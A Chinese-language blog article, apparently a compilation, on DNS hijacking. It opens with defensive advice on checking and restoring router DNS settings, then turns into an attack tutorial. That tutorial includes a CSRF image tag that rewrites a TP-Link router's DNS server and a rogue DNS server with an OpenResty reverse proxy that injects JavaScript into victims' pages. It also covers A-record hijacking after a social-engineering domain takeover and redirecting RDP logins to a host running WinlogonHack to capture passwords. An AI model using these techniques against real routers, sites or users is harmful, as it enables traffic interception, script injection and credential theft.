1. 程式人生 > >DNS劫持原理與操作

DNS劫持原理與操作

DNS(域名系統)的作用是把網路地址(域名,以一個字串的形式)對應到真實的計算機能夠識別的網路地址(IP地址),以便計算機能夠進一步通訊,傳遞網址和內容等。由於域名劫持往往只能在特定的被劫持的網路範圍內進行,所以在此範圍外的域名伺服器(DNS)能夠返回正常的IP地址,高階使用者可以在網路設定把DNS指向這些正常的域名伺服器以實現對網址的正常訪問。所以域名劫持通常相伴的措施——封鎖正常DNS的IP。
如果知道該域名的真實IP地址,則可以直接用此IP代替域名後進行訪問。比如訪問百度域名,可以把訪問改為202.108.22.5,從而繞開域名劫持 。
應對方法:
DNS劫持(DNS釣魚攻擊)十分凶猛且不容易被使用者感知,曾導致巴西最大銀行巴西銀行近1%客戶受到攻擊而導致賬戶被盜。黑客利用寬頻路由器的缺陷對使用者DNS進行篡改——使用者只要瀏覽一下黑客所掌控的WEB頁面,其寬頻路由器的DNS就會被黑客篡改,因為該WEB頁面設有特別的惡意程式碼,所以可以成功躲過安全軟體檢測,導致大量使用者被DNS釣魚詐騙。
由於一些未知原因,在極少數情況下自動修復不成功,建議您手動修改。同時,為了避免再次被攻擊,即使修復成功,使用者也可按照360或騰訊電腦管家提示的方法修改路由器的登入使用者名稱和密碼。下面以使用者常用的TP-link路由器為例來說明修改方法(其他品牌路由器與該方法類似)。
手動修改DNS
1.在位址列中輸入:http://192.168.1.1 (如果頁面不能顯示可嘗試輸入:http://192.168.0.1)
2.填寫您路由器的使用者名稱和密碼,點選“確定”
3.在“DHCP伺服器—DHCP”服務中,填寫主DNS伺服器為百度提供的公共DNS服務IP地址:180.76.76.76,備用DNS伺服器為DNSpond提供服務IP為119.29.29.29,點選儲存即可。
修改路由器密碼
1.在位址列中輸入:http://192.168.1.1 (如果頁面不能顯示可嘗試輸入:http://192.168.0.1)
2.填寫您路由器的使用者名稱和密碼,路由器初始使用者名稱為admin,密碼也是admin,如果您修改過,則填寫修改後的使用者名稱和密碼,點選“確定”
3.填寫正確後,會進入路由器密碼修改頁面,在系統工具——修改登入口令頁面即可完成修改(原使用者名稱和口令和2中填寫的一致)
預防DNS劫持
其實,DNS劫持並不是什麼新鮮事物,也並非無法預防,百度被黑事件的發生再次揭示了全球DNS體系的脆弱性,並說明網際網路廠商如果僅有針對自身資訊系統的安全預案,就不足以快速應對全面而複雜的威脅。因此,網際網路公司應採取以下措施:
1、網際網路公司準備兩個以上的域名,一旦黑客進行DNS攻擊,使用者還可以訪問另一個域名。
2、網際網路應該對應急預案進行進一步修正,強化對域名服務商的協調流程。
3、域名註冊商和代理機構特定時期可能成為集中攻擊目標,需要加以防範。
4、國內有關機構之間應該快速建立與境外有關機構的協調和溝通,協助國內企業實現對此事件的快速及時的處理。
DNS劫持變種
上週百度搜索上線了一個非常重要的策略,如果發現有網站被植入惡意篡改使用者路由DNS的程式碼時,就會攔截頁面,打出提示!據安全聯盟的統計發現過萬的網站被黑,植入了路由DNS劫持程式碼,這個數量非常之大。
  過去一段時間,知道創宇安全研究團隊就捕獲了至少5個變種。這類攻擊的模式一般是:
1.攻擊者黑下一批網站;
2.攻擊者往這批網站裡植入路由DNS劫持程式碼(各種變形);
3.攻擊者傳播或坐等目標使用者訪問這批網站;
4.使用者訪問這些網站後,瀏覽器就會執行“路由DNS劫持程式碼”;
5.使用者的家庭/公司路由器如果存在漏洞就會中招;
6.使用者上網流量被“假DNS伺服器”劫持,並出現奇怪的廣告等現象;

雖然這次攻擊主要針對Tp-Link路由器,不過中招的路由不僅TP-Link!對此安全聯盟推出DNS劫持專題[1] ,為網民及站長提供詳細解決方案。

以上來自百度百科:

那麼瞭解DNS劫持,相信很多做WEBq前端與JAVA後端,以及運維的中都碰見過DNS劫持,那麼有哪些方法以及那麼工具,我一一為你們解答!

第一種:

執行nslookup
如果你當前的DNS伺服器正常工作,返回的結果應該是你自己的DNS伺服器。隨便解析一個網站,比如www.microsoft.com
應該返回的是正常的地址然後再解析一個不存在的網站,比如
adfasdf.fljalfjsd.com.cn如果返回的結果是DNS request timed out.timeout was 2 seconds.
那麼證明你的DNS沒有被劫持如果返回的結果是一個IP地址,比如說網通的返回地址是123.xxx.xxx.xxx,那麼證明你的DNS被劫持了。
請檢查以下設定:
1. 右鍵點選我的電腦,點選屬性
2. 點選計算機名
3. 點選其他
4. 檢查“此計算機的主DNS字尾”設定,預設情況下這一設定應該是您的域名(比如Microsoft.com)
5. 開啟網路連結
6. 右鍵點選網路連結並點選屬性
7. 雙擊TCP/IP
8. 點選高階,並點選DNS屬性頁
9. 檢查“附加主要的連線特定的DNS字尾”選項,預設“附加主DNS字尾的父字尾”是被選中的
10.檢查此連線的DNS字尾內是否設定了內容,預設為空
11.HOSTS檔案被修改也會這樣,你可以在C:\Windows\System32\drivers\etc用記事本開啟hosts檔案看是否被添加了相關的網址和IP資訊,預設的應該只有一個127.0.0.1
修復:
由於DNS被強制修改,kaspersky不能訪問,可以嘗試其它廠商的線上防毒。DNS上清理快取,並執行 ipconfig/flushdns,客戶端上也執行該命令,在測試看看。
另:有的時候可以在瀏覽器中直接輸入IP地址,而不是域名。請嘗試!如果IP段被劫持,可以更換IP來解決。或者用360或者電腦管家進行修復,或者電腦急救箱。

第二種:

這篇文章把Dns分為兩種,一種是主機或嵌入式裝置dns,一種是網站域名dns,來講述dns淪陷之後帶來的危害。

   你本地的網路連線的dns是通過路由器獲取的,假如有一天你家裡的路由被黑客入侵了,入侵者修改了你家裡路由器的dns,那麼他可以對你訪問記錄非常清楚,如系在檔案,流量記錄。既然解析都通過dns,我們完全可以自建dns,來進行攻擊。

    1.路由器怎麼樣淪陷

         攻擊手法:csrf  路由器漏洞

        CSRF

         IE 出了一個安全補丁,禁止了Http Authentication Url, 使用此方法在IE下攻擊是無效的 完美相容FF chrome。 https://support.microsoft.com/zh-cn/kb/834489

         <img src=http://192.168.1.1/userRpm/LanDhcpServerRpm.htm?dhcpserver=1&ip1=192.168.1.100&ip2=192.168.1.199&Lease=120&gateway=0.0.0.0&domain=&dnsserver=惡意的dns地址&dnsserver2=0.0.0.0&Save=%B1%A3+%B4%E6></img>

        裝置漏洞

烽火通訊某款路由器被爆存在漏洞-可遠端修改DNS

http://www.exploit-db.com/exploits/28450/

    2.自建dns(window)

     在這裡我使用微軟自家產,(完全可以用其他產品代替,個人習慣問題)

     wKioL1ZxVCfDmzBCAABDds_fMBg567.png

        配置劫持域名

         myhack58.com

     wKioL1ZxVFaRrRCUAAAkNCrr8pk332.png

        轉發器配置

             轉發器解決這臺伺服器沒有應答的dns查詢請求, 如這臺主機只有myhack58.com, baidu.com等是不存在的,這種情況把會把baidu.com請求轉發到你配置的dns去解析。我配置解析的dns是8.8.8.8

     wKioL1ZxVJPjc6OVAAAlqIu2ruY558.png

        配置劫持域名A記錄

            剛才dns填寫是跟域,這時候需要對A記錄進行解析,比如我劫持www.myhack58.com到本地127.0.0.1。

   wKiom1ZxVP6QDPxnAAAyy247UR8307.png

            我這解析是vps的IP,測試可以寫127.0.0.1。但要用起來你解析寫公網ip地址,不然別人解析是127.0.0.1,127.0.0.1是你本地,找不到的地址,沒辦法跟反向代理代理配合。

   wKiom1ZxVSnDbwfRAAA0pfsG_MQ893.png

        測試dns是否配置成功

            可以使用dnslookup ping 等去測試

    wKioL1ZxVXOhgTVrAAAnyfn9jO0629.png

            Dns已配置成功,雖然現在解析本地了,我本地難道就只能掛個黑頁?當然不是,我的目的是要求是替換頁面的內容.比如插入js,修改某個文字等。

客戶端的配置

            由於我在公司沒有路由器,直接使用客戶端做測試,客戶端的dns獲取來源還是路由器

    wKioL1ZxVbqSehVZAAAfc5KpWQY299.png

            這時候配置成功,你可以開啟baidu.com來測試,是否可以解析,正常開啟。

wKioL1ZxVcjR4-EvAAEiLeIK4Ew281.png

    3.反向代理搭建

        反向代理來這裡啟到作用是,把dns解析www.myhack58.com的vps的這個請求代理到真實的解析。

        我們要做的事情 要給頁面插入一段js。

        Openresty介紹

            在這裡我們使用Openresty,Openresty是基於nginx,它打包了標準的 Nginx 核心,很多的常用的第三方模組,nginx第三方模組都需要編譯,在window下比較噁心 我直接找了一個Openresty_For_Windows,已打包我想要的是第三方模組http_sub_module。

        下載地址:

        使用nginx  -V 檢視已支援的第三方模組 

        http_sub_module缺點

            1.只能使用一條規則

            2.不支援中文

        反向代理配置

            監聽埠vps的公網IP的80埠.當dns查詢請求解析到本地80的時候,80正好監聽vps公網ip,反向代理是myhack58.com。實際上vps公網ip是myhack58.com

         開啟/conf/nginx.conf檔案進行配置

         使用了http_sub_module,替換了內容把

         </head>換成</head><script sec=safe.js></script>,我故意寫錯 寫成sec=

         wKioL1ZxVsOhpA7kAAAcoCiQ0i8280.png

        測試是否成功

            先前已經把dns設定過去了,現在也可以ping通,那我們就檢視原始碼 是否替換了頁面內容。wKiom1ZxVwOB3LuuAADs50t9Tz0802.png

            配置其他功能

                現在dns加反向代理配置已經完成了,你可以替換他的頁面了

            Openresty配置反向代理,你要是需要其他的配置還可以設定很多引數,如proxy_cache proxy_header  proxy_send_timeout  proxy_read_timeout。取決於自己用途。

二:網站域名dns劫持

        當你通過社工拿到了某個域名許可權, 但是你的目的是getshell,這時候你可以做反向代理,可以從兩方面下手去做。

    A記錄劫持演示

        直接修改域名劫持到A記錄的你的惡意反向代理,但是這時候反向代理必須有配置upstream,在upstream指定原域名解析的ip地址,路由器劫持dns沒有配置upstream 是因為上層的dns還可以解析到劫持域名的真實ip,而你這時候意見把A記錄解析修改到了你的惡意反向代理機器,不去指定解析的地址, 上層找到解析的地址還是惡意的反向代理,形成一個死迴圈,永遠打不開網站。

        域名A記錄劫持

        www.sanr.org  192.168.182.128

        反向代理      192.168.182.129

  wKiom1ZxV_iQfIouAAAWKXi2OZs330.png

        為什麼要劫持A記錄

            如你通過社工之類拿到了域名的控制權限,這時候你想獲取他的後臺地址,或者cookie等你就需要這樣做。

            目前我已經控制sanr.org的域名解析許可權,現在我們要做的是把www.sanr.org的A記錄解析到192.168.182.129。讓反向代理去訪問真實的ip(也就是192.168.182.128),在反向代理的時候我們動手腳,插個js程式碼進去。

        沒修改A記錄之前

wKiom1ZxWEmCYkZmAAF0J8BjQ0Q968.png

    修改域名A記錄

        修改域名到反向代理伺服器 192.168.182.129

 wKioL1ZxWIrDMJ43AAATAFB1rHk556.png

        反向代理伺服器搭建(192.168.182.129)

            繫結域名為www.sanr.org 埠80,並指定上游(upstream)地址是192.168.182.128,必須指定上游地址(upstream),只有proxy_pass無upstream他會自動請求解析A記錄。

            路由器dns劫持那塊沒有用upstream是因為域名的A記錄的iP地址你可以通過proxy_pass獲取到。

            而現在域名A記錄解析是反向代理機器也就是本機(192.168.182.129),如不使用upstrema去指定真實的IP地址,proxy_pass直接去解析到的是本地IP,那麼就會造成死迴圈,一直解析的都是本機。

下面是反向代理配置檔案。

wKioL1ZxWNWQkBOKAAA6QVHP1ZM659.png

        劫持成功

             成功的給sanr.org的植入safe.js程式碼

wKiom1ZxWQDSvk1JAALBDmQnwQM723.png

    dns劫持

        跟路由器劫持dns一樣,自建dns,之後把域名的dns解析配置的A記錄解析到惡意的反向代理,反向代理中還是要指定upstream,跟a記錄劫持一樣,不然造成死迴圈。 

       Dns服務 反向代理軟體有很多,完全取決於自己的習慣,用自己最喜歡的。

    Dns win

      WinMyDNS

      微軟自家

    Dns linux 

      dnschef   “msfconsole  auxiliary/server/fakedns”

      Powerdns bind 等 linux開源專案太多

    反向代理

     Squid  Varnish nginx 或者nginx 衍生版(Tengine  Openresty)

wKiom1ZxWffjbySJAASyBJESYFE665.png

    攻擊手法不僅僅是替換網頁內容 插入js,如劫持你路由器的dns, 連線3389也是輸入域名也是通過dns解析的,我完全可以把A記錄劫持我本地,連線3389是我本機的機器,之後安裝WinlogonHack,來記錄密碼,WinlogonHack需要改成即使是錯誤密碼也要記錄,不然記錄不到。

    把www.baidu.com解析到我vps主機的ip

wKioL1ZxWnrSNHZmAAA0KhGwnOs810.png    Dns已生效,解析baidu.com也返回是vps主機的ip

wKiom1ZxWpnzToK8AAAgXYtopxY427.png

    連線3389(其實這時候是我vps的IP)

    wKioL1ZxWsPh8RQvAACQeQDHVpc930.png

    只要涉及到域名解析的 本地host  本地客戶端dns  路由器dns,都可以這樣去劫持,攻擊手法變化多樣,看你出自於什麼目地去做。

第三種:

1.Cain進行DNS劫持、ARP欺騙。

2.小凡頂尖劫持外掛程式。

3.浪花DNS域名劫持。

4.netfuke劫持工具

5.修復DNS劫持,使用OpenDNS解決DNS域名劫持。

6.一次利用社會工程學完成的域名劫持攻擊。

7.入侵DNS解析伺服器。

8.以IP衝突的方法來劫持域名。

9.openresty+lua在反向代理服務

10.Squid和Nginx是非常優秀的反向代理。

(以下來自紅客聯盟)

11.假扮域名註冊人和域名註冊商通訊。

這類域名盜竊包括使用偽造的傳真,郵件等來修改域名註冊資訊,有時候,受害者公司的標識之類的也會用上。增加可信度。 hushmail.com被盜竊就是一次典型的例子。當時一名域名劫持者使得註冊服務提供商相信了他的身份,然後修改了該公司的域名管理員郵件資訊。然後攻擊者使用管理員郵件提交了密碼重設請求。最後。攻擊者登入域名服務商。修改密碼。更改DNS記錄,然後指向自己的伺服器。 12.是偽造域名註冊人在註冊商處的賬戶資訊。 攻擊者偽造域名註冊人的郵件和註冊商聯絡。然後賣掉域名或者是讓買家相信自己就是域名管理員。然後可以獲利 13.是偽造域名註冊人的域名轉移請求。 這類攻擊通常是攻擊者提交一個偽造的域名轉讓請求,來控制域名資訊。 在2001年,攻擊者向服務商提交了一封信。謊稱原註冊人已經被公司解僱,須將域名轉移給自己,結果他成功地控制了sex.com域名。最後被判了6500萬美元罰款。 14. 是直接進行一次域名轉移請求。 這類攻擊有可能改dns,也有可能不改,如果不改的話。是很隱蔽的。但最終盜竊者的目的就是賣掉域名,當時blogtemplate4u.com 和 dhetemplate.com 兩個域名是由美國一家公司通過godaddy註冊管理的。結果某一天,一個盜竊者使用該公司管理員的帳號密碼登入到域名管理商,執行了轉移請求。注意。他沒有更改dns記錄。域名在轉移期間。一切服務都沒有受到影響。 15.是修改域名的DNS記錄。 未經授權的DNS配置更改導致DNS欺騙攻擊。(也稱作DNS快取投毒攻擊)。這裡。資料被存入域名伺服器的快取資料庫裡,域名會被解析成一個錯誤的ip,或是解析到另一個ip,典型的一次攻擊是1997年Eugene Kashpureff黑闊通過該方法重定向了InterNIC網站。